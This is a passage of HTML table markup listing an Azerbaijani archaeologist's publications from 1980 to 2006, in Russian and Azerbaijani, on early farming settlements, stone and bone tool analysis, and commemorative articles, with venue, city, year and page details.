width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Об использовании битума в древнем Азербайджане.</p></td><td width=\"144\"><p style=\"background:undefined \">Советская археология</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Москва</p></td><td width=\"60\"><p style=\"background:undefined \">1981</p></td><td width=\"66\"><p style=\"background:undefined \">№3</p><p style=\"background:undefined \">5 стр.</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Чаккаллыктепе- поселение эпохи ранней бронзы.</p></td><td width=\"144\"><p style=\"background:undefined \">Доклады АН Азерб. ССР</p></td><td width=\"96\"><p style=\"background:undefined \">Ахундов T.M.</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1981</p></td><td width=\"66\"><p style=\"background:undefined \">№9</p><p style=\"background:undefined \">5 стр</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Об археологических памятниках северо-восточного Азербайджана</p></td><td width=\"144\"><p style=\"background:undefined \">Доклады Ан Азерб. ССР</p></td><td width=\"96\"><p style=\"background:undefined \">Халилов Д.А., Ахундов T.M., Гошгарлы Г.О.</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1980</p></td><td width=\"66\"><p style=\"background:undefined \">6 стр.</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Археологические памятники Хачмазского района.</p></td><td width=\"144\"><p style=\"background:undefined \">Археологические и этнографические изыскания в Азербайджане в 1977 году</p></td><td width=\"96\"><p style=\"background:undefined \">Халилов Д.А., Ахундов T.M., Гошгарлы Г.О., Расулова М.М.</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1980</p></td><td width=\"66\"><p style=\"background:undefined \">6 стр.</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Новые памятники северо-восточного Азербайджана.</p></td><td width=\"144\"><p style=\"background:undefined \">Археологические и этнографические изыскания в Азербайджане в 1978 году</p></td><td width=\"96\"><p style=\"background:undefined \">Халилов Д.А., Ахундов T.M., Гошгарлы Г.О.</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1982</p></td><td width=\"66\"><p style=\"background:undefined \">4 стр</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Археологические исследования в Кубинском и Дивичинском районах.</p></td><td width=\"144\"><p style=\"background:undefined \">Археологические и этнографические изыскания в Азербайджане в 1979 году</p></td><td width=\"96\"><p style=\"background:undefined \">Д.А., Ахундов T.M., Гошгарлы Г.О., Алиев А.</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1984</p></td><td width=\"66\"><p style=\"background:undefined \">5 стр</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Поселение Кучумхантепе в Кусарском районе.</p></td><td width=\"144\"><p style=\"background:undefined \">Доклады АН Азерб. ССР</p></td><td width=\"96\"><p style=\"background:undefined \">Ахундов T.M</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1984</p></td><td width=\"66\"><p style=\"background:undefined \">№9, (5 стр.</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">К изучению каменных орудий труда с Чалагантепе.</p></td><td width=\"144\"><p style=\"background:undefined \">Всесоюзная археологическая конференция «Достижения Советской археологии в XI-й пятилетке»</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1985</p></td><td width=\"66\"><p style=\"background:undefined \">3 стр</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Функциональное изучение каменных орудий из нижнего слоя поселения Баба-Дервиш</p></td><td width=\"144\"><p style=\"background:undefined \">Археологические и этнографические изыскания в Азербайджане в 1980-1981 гг</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1986</p></td><td width=\"66\"><p style=\"background:undefined \">7 стр</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Каменная индустрия Чалагантепе</p></td><td width=\"144\"><p style=\"background:undefined \">Археологические и этнографические изыскания в Азербайджане в 1985 г.</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1986</p></td><td width=\"66\"><p style=\"background:undefined \">1 стр</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Каменные орудия труда ранных земледельческо-скотоводческих племен Западного Азербайджана</p></td><td width=\"144\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1986</p></td><td width=\"66\"><p style=\"background:undefined \">9 п.л.</p><p style=\"background:undefined \">с. 163</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Прогресс в развитии хозяйства&nbsp; поселения&nbsp; Аликемектепеси&nbsp;</p></td><td width=\"144\"><p style=\"background:undefined \">Технологический и культурный прогресс в раннеземледель-ческую эпоху</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Ашхабад</p></td><td width=\"60\"><p style=\"background:undefined \">1987</p></td><td width=\"66\"><p style=\"background:undefined \">25-27 стр. с.3</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">История средних веков.</p></td><td width=\"144\"><p style=\"background:undefined \">Программа для исторического факультета педагогического института</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1987</p></td><td width=\"66\"><p style=\"background:undefined \">2,5 п.л.</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Археологические памятники северо-восточного Азербайджана</p></td><td width=\"144\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Халилов Д.А., Гошгарлы Г.О.</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1991</p></td><td width=\"66\"><p style=\"background:undefined \">15 п.л.</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Раннеземледельческая культура Гянджа-Казахской равнины</p></td><td width=\"144\"><p style=\"background:undefined \">Проблемы древней и средневековой истории Азербайджана</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1992</p></td><td width=\"66\"><p style=\"background:undefined \">5 стр. с.3-8</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Трасологическое изучение костяных орудий труда раннеземледельческого поселения Аликемек</p><p style=\"background:undefined \">тепеси</p></td><td width=\"144\"><p style=\"background:undefined \">Проблемы древней и средневековой истории Азербайджана</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1992</p></td><td width=\"66\"><p style=\"background:undefined \">5 стр. с.8-13</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">О геральдических знаках Азербайджана.</p></td><td width=\"144\"><p style=\"background:undefined \">Azərbaycan tarixinin problemləri, müasir tədris və elmi nəşrlərdə onların əksi.</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Bakı</p></td><td width=\"60\"><p style=\"background:undefined \">1995</p></td><td width=\"66\"><p style=\"background:undefined \">2 стр. с.11-12</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Бакинский Университет «Хазар» в системе международного образования.</p></td><td width=\"144\"><p style=\"background:undefined \">Роль Баку в международных многосторонних взаимосвязях Азербайджана. Третий международный Бакинский симпозиум</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1997</p></td><td width=\"66\"><p style=\"background:undefined \">2 стр. с.279-281</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Взаимосвязи раннеземледельческих культур Азербайджана с Передней Азией.</p></td><td width=\"144\"><p style=\"background:undefined \">Azərbaycan çoxəsirli qarşılıqlı çoxsahəli mədəni əlaqələrdə. Dördüncü Bakı Beynəlxalq Simpoziumunun məruzələrinin məcmuəsi</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Bakı</p></td><td width=\"60\"><p style=\"background:undefined \">1999</p></td><td width=\"66\"><p style=\"background:undefined \">3стр.с.180-183</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Экспериментально-трасологический анализ орудий из раннеземледельческих памятников Азербайджана</p></td><td width=\"144\"><p style=\"background:undefined \">Azərbaycan arxeologiyası</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Bakı,</p><p style=\"background:undefined \">Xəzər Universiteti</p></td><td width=\"60\"><p style=\"background:undefined \">1999</p></td><td width=\"66\"><p style=\"background:undefined \">№1-2.</p><p style=\"background:undefined \">стр. 20-23</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Древнейшие жатвенные орудия&nbsp; Азербайджана</p></td><td width=\"144\"><p style=\"background:undefined \">&nbsp;Azərbaycan arxeologiyası</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Bakı, Xəzər Universiteti</p></td><td width=\"60\"><p style=\"background:undefined \">1999</p></td><td width=\"66\"><p style=\"background:undefined \">№ 3-4,&nbsp; стр.30 – 35.</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Трасологический анализ орудий труда труда&nbsp; из раннеземледельческих памятников Азербайджана</p></td><td width=\"144\"><p style=\"background:undefined \">Современные экспериментально - трасологические и технико-технологические разработки в археологии. Первые Семеновские чтения.</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Санкт-Петербург</p></td><td width=\"60\"><p style=\"background:undefined \">1999</p></td><td width=\"66\"><p style=\"background:undefined \">стр. 36-38</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Vadim Mixayloviç Masson: Həyat və yaradıcılıq yolu (70 illiyi münasibətilə)</p></td><td width=\"144\"><p style=\"background:undefined \">Azərbaycan arxeologiyası</p></td><td width=\"96\"><p style=\"background:undefined \">F.Muradova</p></td><td width=\"96\"><p style=\"background:undefined \">Bakı, Xəzər Universiteti</p></td><td width=\"60\"><p style=\"background:undefined \">1999</p></td><td width=\"66\"><p style=\"background:undefined \">№1-2, (səh.83-86)</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Значение экспериментально-трасологического изучения&nbsp; раннеземледельческих&nbsp; комплексов Азербайджана</p></td><td width=\"144\"><p style=\"background:undefined \">Материалы международной&nbsp; научной конференции&nbsp; «Археология&nbsp; и этнография Кавказа»</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">2000</p></td><td width=\"66\"><p style=\"background:undefined \">стр. 43- 45</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">К вопросу древнейшей земледельческой культуры Азербайджана и ее взаимосвязей с Ближним Востоком.</p></td><td width=\"144\"><p style=\"background:undefined \">Azərbaycan tarixinin çağdaş problemləri.</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Bakı</p></td><td width=\"60\"><p style=\"background:undefined \">2000</p></td><td width=\"66\"><p style=\"background:undefined \">стр.62-72</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Сравнительные изучения древнейших&nbsp; раннеземледельческих комплексов Азербайджана и Туркменистана.</p></td><td width=\"144\"><p style=\"background:undefined \">Культурное наследие Туркменистана (глубинные истоки и современные перспективы).&nbsp; Материалы&nbsp; международной&nbsp; научной конференции</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Ашгабат – Санкт-Петербург</p></td><td width=\"60\"><p style=\"background:undefined \">2000</p></td><td width=\"66\"><p style=\"background:undefined \">стр.119 – 120</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Mütləq və nisbi xronologiya.</p></td><td width=\"144\"><p style=\"background:undefined \">Azərbaycan arxeologiyası</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Bakı, Xəzər Universiteti</p></td><td width=\"60\"><p style=\"background:undefined \">2000</p></td><td width=\"66\"><p style=\"background:undefined \">№3-4, səh. 96-97</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Alban çayı sahilində olan görkəmli albanşünas</p></td><td width=\"144\"><p style=\"background:undefined \">Azərbaycan arxeologiyası</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Bakı, Xəzər Universiteti</p></td><td width=\"60\"><p style=\"background:undefined \">2001</p></td><td width=\"66\"><p style=\"background:undefined \">№3-4, səh.113-119</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Конь в бронзовом веке.</p></td><td width=\"144\"><p style=\"background:undefined \">Материалы Международной научной конференции «Роль Ахатекинского коня в формировании мирового коннозаводства», посвященной 10-ой годовщине независимости Туркменистана</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Ашгабат</p></td><td width=\"60\"><p style=\"background:undefined \">2001</p></td><td width=\"66\"><p style=\"background:undefined \">стр.17-18</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Köməkçi tarixi fənlər.</p></td><td width=\"144\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Tarix Dostiyev</p></td><td width=\"96\"><p style=\"background:undefined \">Bakı, Xəzər Universiteti</p></td><td width=\"60\"><p style=\"background:undefined \">2001</p></td><td width=\"66\"><p style=\"background:undefined \">7,5 ç.v.; 188 səh</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Kitabi “Dədə Qorqud” aşığı</p></td><td width=\"144\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Ə.Şmide, S.Əliyarlı</p></td><td width=\"96\"><p style=\"background:undefined \">Bakı, Xəzər Universiteti</p></td><td width=\"60\"><p style=\"background:undefined \">2001</p></td><td width=\"66\"><p style=\"background:undefined \">8,5 ç.v.; 213 səh</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Лженаука на службе политики</p></td><td width=\"144\"><p style=\"background:undefined \">Azərbaycan arxeologiyası</p></td><td width=\"96\"><p style=\"background:undefined \">Г.Исмаилзаде, Т.Достиев</p></td><td width=\"96\"><p style=\"background:undefined \">Bakı, Xəzər Universiteti</p></td><td width=\"60\"><p style=\"background:undefined \">2002</p></td><td width=\"66\"><p style=\"background:undefined \">№1-2 стр.107-113</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Быть&nbsp; востребованной в науке (к 70-летию Г.Ф.Коробковой)</p></td><td width=\"144\"><p style=\"background:undefined \">Azərbaycan arxeologiyası</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Bakı, Xəzər Universiteti</p></td><td width=\"60\"><p style=\"background:undefined \">2003</p></td><td width=\"66\"><p style=\"background:undefined \">№1-4,</p><p style=\"background:undefined \">c.101-103</p></td><td width=\"42\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Трасологические разработки Г.Ф.Коробковой по материалам Кавказа и изучение раннеземледельческих комплексов Азербайджана.</p></td><td width=\"144\"><p style=\"background:undefined \">Петербургская трасологическая школа и изучение древних культур Евразии. В честь юбилея Г.Ф.Коробковой.</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Санкт-Петербург</p></td><td width=\"60\"><p style=\"background:undefined \">2003</p></td><td width=\"66\"><p style=\"background:undefined \">стр.58-65</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">О применении новых методов&nbsp; в исследовании раннеземледельческих культур Азербайджана</p></td><td width=\"144\"><p style=\"background:undefined \">Arxeologiya və Etnoqrafiya İnstitunun 10-illiyinə həsr olunmuş elmi konfransın materilları, Azərbaycan arxeologiyası</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Bakı</p></td><td width=\"60\"><p style=\"background:undefined \">2003</p></td><td width=\"66\"><p style=\"background:undefined \">стр.26-29</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Tarix elmləri doktoru, professor Qüdrət İsmayılzadənin 70 illiyinə.</p></td><td width=\"144\"><p style=\"background:undefined \">Azərbaycan arxeologiyası</p></td><td width=\"96\"><p style=\"background:undefined \">Tarix Dostiyev</p></td><td width=\"96\"><p style=\"background:undefined \">Bakı, Xəzər Universiteti</p></td><td width=\"60\"><p style=\"background:undefined \">2004</p></td><td width=\"66\"><p style=\"background:undefined \">N-1-4, (səh.13-18</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Орудия труда и проблема выделения домашних производств враннеземледельческих памятников Азербайджана</p></td><td width=\"144\"><p style=\"background:undefined \">Археология, этнология, фольклористика Кавказа. Международная научная конференция.</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">2005</p></td><td width=\"66\"><p style=\"background:undefined \">стр. 44 – 45</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Узерликтепе – поселение с расписной керамикой в Карабахе</p></td><td width=\"144\"><p style=\"background:undefined \">Azərbaycan arxeologiyası</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \"><strong>Bakı,</strong></p><p style=\"background:undefined \"><strong>Xəzər Universiteti</strong></p></td><td width=\"60\"><p style=\"background:undefined \">2005</p></td><td width=\"66\"><p style=\"background:undefined \">N-1-4, стр.90-93</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Традиции и иноовации в древнеземледельческом комплексе Мингечаура.</p></td><td width=\"144\"><p style=\"background:undefined \">Mingəçevir arxeoloji ekspedisiyası- 60.</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Mingəçevir</p></td><td width=\"60\"><p style=\"background:undefined \">2006</p></td><td width=\"66\"><p style=\"background:undefined \">стр. 36-38</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">İdeal Həmid oğlu Nərimanovun əziz xatirəsinə</p></td><td width=\"144\"><p style=\"background:undefined \">Azərbaycan arxeologiyası</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \"><strong>Bakı,</strong></p><p style=\"background:undefined \"><strong>Xəzər Universiteti</strong></p></td><td width=\"60\"><p style=\"background:undefined \">2006</p></td><td width=\"66\"><p style=\"background:undefined \">N-1-4, (səh. 191-</p><p style=\"background:undefined \">92)</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Azərbaycan paleolit məktəbinin görkəmli nümayəndəsi.</p></td><td width=\"144\"><p style=\"background:undefined \">Azərbaycan arxeologiyası</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \"><strong>Bakı,</strong></p><p style=\"background:undefined \"><strong>Xəzər Universiteti</strong></p></td><td width=\"60\"><p style=\"background:undefined \">2006</p></td><td width=\"66\"><p style=\"background:undefined \">N-1-4, (səh. 144-146)</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Археологические комплексы земледельческой культуры Азербайджана и их параллели на Ближном Востоке</p></td><td width=\"144\"><p style=\"background:undefined \">Azərbaycan arxeologiyası</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td 